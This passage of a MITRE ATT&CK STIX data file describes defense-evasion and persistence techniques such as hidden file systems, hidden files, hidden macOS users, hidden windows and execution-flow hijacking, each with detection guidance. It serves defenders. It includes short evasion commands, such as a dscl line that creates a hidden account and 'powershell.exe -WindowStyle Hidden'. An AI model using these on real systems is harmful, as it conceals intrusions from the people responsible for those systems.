                    "description": "Nick Aleks. (2015, November 7). Weapons of a Pentester - Understanding the virtual & physical tools used by white/black hat hackers. Retrieved March 30, 2018.",
                    "source_name": "Aleks Weapons Nov 2015"
                },
                {
                    "url": "https://www.hak5.org/blog/main-blog/stealing-files-with-the-usb-rubber-ducky-usb-exfiltration-explained",
                    "description": "Hak5. (2016, December 7). Stealing Files with the USB Rubber Ducky \u2013 USB Exfiltration Explained. Retrieved March 30, 2018.",
                    "source_name": "Hak5 RubberDuck Dec 2016"
                },
                {
                    "url": "https://www.youtube.com/watch?v=fXthwl6ShOg",
                    "description": "Ulf Frisk. (2016, August 5). Direct Memory Attack the Kernel. Retrieved March 30, 2018.",
                    "source_name": "Frisk DMA August 2016"
                },
                {
                    "url": "https://arstechnica.com/information-technology/2012/03/the-pwn-plug-is-a-little-white-box-that-can-hack-your-network/",
                    "description": "Robert McMillan. (2012, March 3). The Pwn Plug is a little white box that can hack your network. Retrieved March 30, 2018.",
                    "source_name": "McMillan Pwn March 2012"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "initial-access"
                }
            ],
            "modified": "2021-04-22T17:47:04.476Z",
            "created": "2018-04-18T17:59:24.739Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "Windows",
                "Linux",
                "macOS"
            ],
            "x_mitre_detection": "Asset management systems may help with the detection of computer systems or network devices that should not exist on a network. \n\nEndpoint sensors may be able to detect the addition of hardware via USB, Thunderbolt, and other external device communication ports.",
            "x_mitre_version": "1.1"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1564.005",
                    "url": "https://attack.mitre.org/techniques/T1564/005"
                },
                {
                    "source_name": "MalwareTech VFS Nov 2014",
                    "url": "https://www.malwaretech.com/2014/11/virtual-file-systems-for-beginners.html",
                    "description": "Hutchins, M. (2014, November 28). Virtual File Systems for Beginners. Retrieved June 22, 2020."
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html",
                    "description": "Andonov, D., et al. (2015, December 7). Thriving Beyond The Operating System: Financial Threat Group Targets Volume Boot Record. Retrieved May 13, 2016.",
                    "source_name": "FireEye Bootkits"
                },
                {
                    "source_name": "ESET ComRAT May 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf",
                    "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."
                },
                {
                    "source_name": "Kaspersky Equation QA",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). Equation Group: Questions and Answers. Retrieved December 21, 2015.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Hidden File System",
            "description": "Adversaries may use a hidden file system to conceal malicious activity from users and security tools. File systems provide a structure to store and access data from physical storage. Typically, a user engages with a file system through applications that allow them to access files and directories, which are an abstraction from their physical location (ex: disk sector). Standard file systems include FAT, NTFS, ext4, and APFS. File systems can also contain other structures, such as the Volume Boot Record (VBR) and Master File Table (MFT) in NTFS.(Citation: MalwareTech VFS Nov 2014)\n\nAdversaries may use their own abstracted file system, separate from the standard file system present on the infected system. In doing so, adversaries can hide the presence of malicious components and file input/output from security tools. Hidden file systems, sometimes referred to as virtual file systems, can be implemented in numerous ways. One implementation would be to store a file system in reserved disk space unused by disk structures or standard file system partitions.(Citation: MalwareTech VFS Nov 2014)(Citation: FireEye Bootkits) Another implementation could be for an adversary to drop their own portable partition image as a file on top of the standard file system.(Citation: ESET ComRAT May 2020) Adversaries may also fragment files across the existing file system structure in non-standard ways.(Citation: Kaspersky Equation QA)",
            "id": "attack-pattern--dfebc3b7-d19d-450b-81c7-6dafe4184c04",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-06-29T15:12:11.024Z",
            "created": "2020-06-28T22:55:55.719Z",
            "x_mitre_data_sources": [
                "Windows Registry: Windows Registry Key Modification",
                "File: File Modification",
                "Firmware: Firmware Modification"
            ],
            "x_mitre_permissions_required": [
                "User",
                "Administrator"
            ],
            "x_mitre_detection": "Detecting the use of a hidden file system may be exceptionally difficult depending on the implementation. Emphasis may be placed on detecting related aspects of the adversary lifecycle, such as how malware interacts with the hidden file system or how a hidden file system is loaded. Consider looking for anomalous interactions with the Registry or with a particular file on disk. Likewise, if the hidden file system is loaded on boot from reserved disk space, consider shifting focus to detecting [Bootkit](https://attack.mitre.org/techniques/T1542/003) activity.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "id": "attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93",
            "name": "Hidden Files and Directories",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1158",
                    "url": "https://attack.mitre.org/techniques/T1158"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/",
                    "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
                    "source_name": "Sofacy Komplex Trojan"
                },
                {
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/",
                    "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
                    "source_name": "Antiquated Mac Malware"
                },
                {
                    "url": "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf",
                    "description": "Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.",
                    "source_name": "WireLurker"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-03-13T21:01:22.966Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1564.001",
                    "url": "https://attack.mitre.org/techniques/T1564/001"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/",
                    "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
                    "source_name": "Sofacy Komplex Trojan"
                },
                {
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/",
                    "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
                    "source_name": "Antiquated Mac Malware"
                },
                {
                    "url": "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf",
                    "description": "Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.",
                    "source_name": "WireLurker"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Hidden Files and Directories",
            "description": "Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a \u2018hidden\u2019 file. These files don\u2019t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls \u2013a</code> for Linux and macOS).\n\nOn Linux and Mac, users can mark specific files as hidden simply by putting a \u201c.\u201d as the first character in the file or folder name  (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, \u2018.\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \u201cls\u201d. Users must specifically change settings to have these files viewable.\n\nFiles on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn\u2019t clutter up the user\u2019s workspace. For example, SSH utilities create a .ssh folder that\u2019s hidden and contains the user\u2019s known hosts and keys.\n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.",
            "id": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-03-29T22:32:25.985Z",
            "created": "2020-02-26T17:46:13.128Z",
            "x_mitre_defense_bypassed": [
                "Host forensic analysis"
            ],
            "x_mitre_data_sources": [
                "File: File Creation",
                "Process: Process Creation",
                "Command: Command Execution",
                "File: File Metadata"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Monitor the file system and shell commands for files being created with a leading \".\" and the Windows command-line use of attrib.exe to add the hidden attribute.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "Windows",
                "macOS",
                "Linux"
            ]
        },
        {
            "id": "attack-pattern--ce73ea43-8e77-47ba-9c11-5e9c9c58b9ff",
            "name": "Hidden Users",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1147",
                    "url": "https://attack.mitre.org/techniques/T1147"
                },
                {
                    "url": "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf",
                    "description": "Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved July 31, 2020.",
                    "source_name": "Cybereason OSX Pirrit"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-07-31T17:42:43.677Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1564.002",
                    "url": "https://attack.mitre.org/techniques/T1564/002"
                },
                {
                    "url": "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf",
                    "description": "Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved July 31, 2020.",
                    "source_name": "Cybereason OSX Pirrit"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Hidden Users",
            "description": "Adversaries may use hidden users to mask the presence of user accounts they create. Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account.\n\nThere is a property value in <code>/Library/Preferences/com.apple.loginwindow</code> called <code>Hide500Users</code> that prevents users with userIDs 500 and lower from appearing at the login screen. When using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 (ex: <code>sudo dscl . -create /Users/username UniqueID 401</code>) and enabling this property (setting it to Yes), an adversary can conceal user accounts. (Citation: Cybereason OSX Pirrit).",
            "id": "attack-pattern--8c4aef43-48d5-49aa-b2af-c0cd58d30c3d",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-07-31T17:42:43.768Z",
            "created": "2020-03-13T20:12:40.876Z",
            "x_mitre_data_sources": [
                "User Account: User Account Creation",
                "User Account: User Account Metadata",
                "File: File Modification"
            ],
            "x_mitre_permissions_required": [
                "root",
                "Administrator"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_detection": "This technique prevents the new user from showing up at the log in screen, but all of the other signs of a new user still exist. The user still gets a home directory and will appear in the authentication logs.",
            "x_mitre_platforms": [
                "macOS"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1143",
                    "url": "https://attack.mitre.org/techniques/T1143"
                },
                {
                    "source_name": "PowerShell About 2019",
                    "url": "https://docs.microsoft.com/en-us/powershell/module/Microsoft.PowerShell.Core/About/about_PowerShell_exe?view=powershell-5.1",
                    "description": "Wheeler, S. et al.. (2019, May 1). About PowerShell.exe. Retrieved October 11, 2019."
                },
                {
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/",
                    "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
                    "source_name": "Antiquated Mac Malware"
                }
            ],
            "name": "Hidden Window",
            "id": "attack-pattern--04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf",
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-03-13T21:03:18.600Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1564.003",
                    "url": "https://attack.mitre.org/techniques/T1564/003"
                },
                {
                    "source_name": "PowerShell About 2019",
                    "url": "https://docs.microsoft.com/en-us/powershell/module/Microsoft.PowerShell.Core/About/about_PowerShell_exe?view=powershell-5.1",
                    "description": "Wheeler, S. et al.. (2019, May 1). About PowerShell.exe. Retrieved October 11, 2019."
                },
                {
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/",
                    "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
                    "source_name": "Antiquated Mac Malware"
                }
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            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Hidden Window",
            "description": "Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. \n\nOn Windows, there are a variety of features in scripting languages in Windows, such as [PowerShell](https://attack.mitre.org/techniques/T1059/001), Jscript, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005) to make windows hidden. One example of this is <code>powershell.exe -WindowStyle Hidden</code>. (Citation: PowerShell About 2019)\n\nSimilarly, on macOS the configurations for how applications run are listed in property list (plist) files. One of the tags in these files can be <code>apple.awt.UIElement</code>, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock.\n\nAdversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.(Citation: Antiquated Mac Malware)",
            "id": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-03-29T22:49:43.557Z",
            "created": "2020-03-13T20:26:49.433Z",
            "x_mitre_contributors": [
                "Travis Smith, Tripwire"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Monitor processes and command-line arguments for actions indicative of hidden windows. In Windows, enable and configure event logging and PowerShell logging to check for the hidden window style. In MacOS, plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the <code>apple.awt.UIElement</code> or any other suspicious plist tag in plist files and flag them.",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "Script: Script Execution",
                "File: File Modification"
            ],
            "x_mitre_platforms": [
                "macOS",
                "Windows"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1564",
                    "url": "https://attack.mitre.org/techniques/T1564"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/",
                    "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
                    "source_name": "Sofacy Komplex Trojan"
                },
                {
                    "url": "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf",
                    "description": "Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved July 31, 2020.",
                    "source_name": "Cybereason OSX Pirrit"
                },
                {
                    "url": "https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/",
                    "description": "Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.",
                    "source_name": "MalwareBytes ADS July 2015"
                },
                {
                    "source_name": "Sophos Ragnar May 2020",
                    "url": "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/",
                    "description": "SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020."
                }
            ],
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Hide Artifacts",
            "description": "Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: MalwareBytes ADS July 2015)\n\nAdversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020)",
            "id": "attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-09-23T11:31:50.636Z",
            "created": "2020-02-26T17:41:25.933Z",
            "x_mitre_data_sources": [
                "File: File Creation",
                "Process: Process Creation",
                "Command: Command Execution",
                "File: File Metadata",
                "User Account: User Account Creation",
                "User Account: User Account Metadata",
                "File: File Modification",
                "Script: Script Execution",
                "Process: OS API Execution",
                "Windows Registry: Windows Registry Key Modification",
                "Firmware: Firmware Modification",
                "Process: Process Creation",
                "File: File Creation",
                "Service: Service Creation",
                "File: File Content"
            ],
            "x_mitre_detection": "Monitor files, processes, and command-line arguments for actions indicative of hidden artifacts. Monitor event and authentication logs for records of hidden artifacts being used. Monitor the file system and shell commands for hidden attribute usage.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1574",
                    "url": "https://attack.mitre.org/techniques/T1574"
                },
                {
                    "source_name": "Autoruns for Windows",
                    "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns",
                    "description": "Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020."
                }
            ],
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            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Hijack Execution Flow",
            "description": "Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.\n\nThere are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.",
            "id": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2021-04-27T19:55:20.290Z",
            "created": "2020-03-12T20:38:12.465Z",
            "x_mitre_data_sources": [
                "Windows Registry: Windows Registry Key Modification",
                "Process: Process Creation",
                "Module: Module Load",
                "Command: Command Execution",
                "Service: Service Metadata",
                "File: File Creation",
                "File: File Modification"
            ],
            "x_mitre_detection": "Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.\n\nLook for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nMonitor for changes to environment variables, as well as the commands to implement these changes.\n\nMonitor processes for unusual activity (e.g., a process that does not use the network begins to do so, abnormal process call trees). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.\n\nService changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.",
            "x_mitre_defense_bypassed": [
                "Anti-virus",
                "Application control"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "id": "attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5",
            "name": "Hooking",
            "external_references": [
                {
                    "url": "https://attack.mitre.org/techniques/T1179",
                    "external_id": "T1179",
                    "source_name": "mitre-attack"
                },
                {
                    "source_name": "Microsoft Hook Overview",
                    "description": "Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx"
                },
                {
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "source_name": "Elastic Process Injection July 2017"
                },
                {
                    "source_name": "Adlice Software IAT Hooks Oct 2014",
                    "description": "Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. Retrieved December 12, 2017.",
                    "url": "https://www.adlice.com/userland-rootkits-part-1-iat-hooks/"
                },
                {
                    "source_name": "MWRInfoSecurity Dynamic Hooking 2015",
                    "description": "Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User Mode. Retrieved December 20, 2017.",
                    "url": "https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/"
                },
                {
                    "source_name": "HighTech Bridge Inline Hooking Sept 2011",
                    "description": "Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved December 12, 2017.",
                    "url": "https://www.exploit-db.com/docs/17802.pdf"
                },
                {
                    "source_name": "Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017",
                    "description": "Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I. Retrieved December 18, 2017.",
                    "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918"
                },
                {
                    "source_name": "Symantec Windows Rootkits",
                    "description": "Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017.",
                    "url": "https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf"
                },
                {
                    "source_name": "Volatility Detecting Hooks Sept 2012",
                    "description": "Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017.",
                    "url": "https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html"
                },
                {
                    "source_name": "PreKageo Winhook Jul 2011",
                    "description": "Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017.",
                    "url": "https://github.com/prekageo/winhook"
                },
                {
                    "source_name": "Jay GetHooks Sept 2011",
                    "description": "Satiro, J. (2011, September 14). GetHooks. Retrieved December 12, 2017.",
                    "url": "https://github.com/jay/gethooks"
                },
                {
                    "source_name": "Zairon Hooking Dec 2006",
                    "description": "Felici, M. (2006, December 6). Any application-defined hook procedure on my machine?. Retrieved December 12, 2017.",
                    "url": "https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/"
                },
                {
                    "source_name": "EyeofRa Detecting Hooking June 2017",
                    "description": "Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense against user-land. Retrieved December 12, 2017.",
                    "url": "https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/"
                },
                {
                    "source_name": "GMER Rootkits",
                    "description": "GMER. (n.d.). GMER. Retrieved December 12, 2017.",
                    "url": "http://www.gmer.net/"
                },
                {
                    "source_name": "Microsoft Process Snapshot",
                    "description": "Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved December 12, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx"
                },
                {
                    "source_name": "StackExchange Hooks Jul 2012",
                    "description": "Stack Exchange - Security. (2012, July 31). What are the methods to find hooked functions and APIs?. Retrieved December 12, 2017.",
                    "url": "https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-11-10T18:29:30.516Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "attack-pattern--4be89c7c-ace6-4876-9377-c8d54cef3d63",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "description": "**This technique has been deprecated and should no longer be used.**\n\nA type-1 hypervisor is a software layer that sits between the guest operating systems and system's hardware. (Citation: Wikipedia Hypervisor) It presents a virtual running environment to an operating system. An example of a common hypervisor is Xen. (Citation: Wikipedia Xen) A type-1 hypervisor operates at a level below the operating system and could be designed with [Rootkit](https://attack.mitre.org/techniques/T1014) functionality to hide its existence from the guest operating system. (Citation: Myers 2007) A malicious hypervisor of this nature could be used to persist on systems through interruption.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1062",
                    "url": "https://attack.mitre.org/techniques/T1062"
                },
                {
                    "external_id": "CAPEC-552",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/552.html"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Hypervisor",
                    "description": "Wikipedia. (2016, May 23). Hypervisor. Retrieved June 11, 2016.",
                    "source_name": "Wikipedia Hypervisor"
                },
                {
                    "url": "http://en.wikipedia.org/wiki/Xen",
                    "description": "Xen. (n.d.). In Wikipedia. Retrieved November 13, 2014.",
                    "source_name": "Wikipedia Xen"
                },
                {
                    "url": "http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.90.8832&rep=rep1&type=pdf",
                    "description": "Myers, M., and Youndt, S. (2007). An Introduction to Hardware-Assisted Virtual Machine (HVM) Rootkits. Retrieved November 13, 2014.",
                    "source_name": "Myers 2007"
                },
                {
                    "url": "http://virtualization.info/en/news/2006/08/debunking-blue-pill-myth.html",
                    "description": "virtualization.info. (Interviewer) & Liguori, A. (Interviewee). (2006, August 11). Debunking Blue Pill myth &#91;Interview transcript&#93;. Retrieved November 13, 2014.",
                    "source_name": "virtualization.info 2006"
                }
            ],
            "object_marking_refs": [
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            ],
            "type": "attack-pattern",
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                    "phase_name": "persistence"
                }
            ],
            "modified": "2020-03-30T13:44:04.712Z",
            "created": "2017-05-31T21:30:50.958Z",
            "x_mitre_deprecated": true,
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_detection": "Type-1 hypervisors may be detected by performing timing analysis. Hypervisors emulate certain CPU instructions that would normally be executed by the hardware. If an instruction takes orders of magnitude longer to execute than normal on a system that should not contain a hypervisor, one may be present. (Citation: virtualization.info 2006)",
            "x_mitre_version": "2.0"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1590.005",
                    "url": "https://attack.mitre.org/techniques/T1590/005"
                },
                {
                    "source_name": "WHOIS",
                    "url": "https://www.whois.net/",
                    "description": "NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020."
                },
                {
                    "source_name": "DNS Dumpster",
                    "url": "https://dnsdumpster.com/",
                    "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020."
                },
                {
                    "source_name": "Circl Passive DNS",
                    "url": "https://www.circl.lu/services/passive-dns/",
                    "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020."
                }
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "IP Addresses",
